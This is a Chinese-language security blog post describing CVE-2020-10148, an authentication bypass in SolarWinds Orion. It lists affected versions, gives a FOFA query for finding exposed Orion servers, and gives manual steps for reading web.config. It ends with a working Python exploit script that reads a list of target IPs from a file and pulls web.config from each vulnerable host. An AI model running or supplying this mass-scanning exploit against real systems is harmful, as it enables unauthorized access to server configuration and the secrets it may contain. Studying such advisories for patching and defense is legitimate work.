漏洞简述
SolarWinds 发布了 SolarWinds 代码执行漏洞 的风险通告,该漏洞编号为 CVE-2020-10148,漏洞等级:高危。
SolarWinds公开了供应链攻击之外的一处漏洞。该漏洞允许未授权的攻击者在受影响的SolarWinds系统上执行任意代码。
漏洞详情
SolarWinds Orion 平台中存在一处权限绕过漏洞。攻击者通过访问,绕过权限验证。最终通过访问功能性API,导致远程代码执行。
影响版本
solarwinds:orion:<2020.2.1HF2
solarwinds:orion:<2019.4HF6
漏洞复现
fofo搜索语法
title="SolarWinds Orion"


访问/Orion/invalid.aspx.js路径,获取请求头中Location数据

将.i18n.ashx?l=en-us&v=43714.46.L携带到需要获取文件内容的路径,从而绕过身份认证。这里访问的是web.config

poc
# coding=utf-8
import time
import requests
import urllib3
urllib3.disable_warnings()
headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
def SolarWind(ip):
try:
check_url = '/Orion/invalid.aspx.js'
vul_url = ip + check_url
exp_url = ip + '/web.config.i18n.ashx?l=en-us&v=43370.07.L'
#print(vul_url)
response = requests.get(url=vul_url, headers=headers, verify=False, timeout=20)
#print(response.headers)
Location = response.headers["Location"]
poc = (Location.split('js')[-1])
#print(poc)
time.sleep(1)
if 'i18n' in poc:
res = requests.get(url=exp_url, headers=headers, verify=False, timeout=20)
if "?xml" in res.text:
print("【+】发现漏洞" + exp_url)
else:
print("未发现漏洞")
except:
print("连接超时!")
def url():
with open('ip.txt', 'r') as f:
ips = f.readlines()
for ip in ips:
ip = ip.strip()
if ip[0:5] == 'https':
ip = ip
elif ip[0:4] == 'http':
ip = ip
else:
ip = 'http://' + ip
SolarWind(ip)
if __name__ == "__main__":
url()
网友评论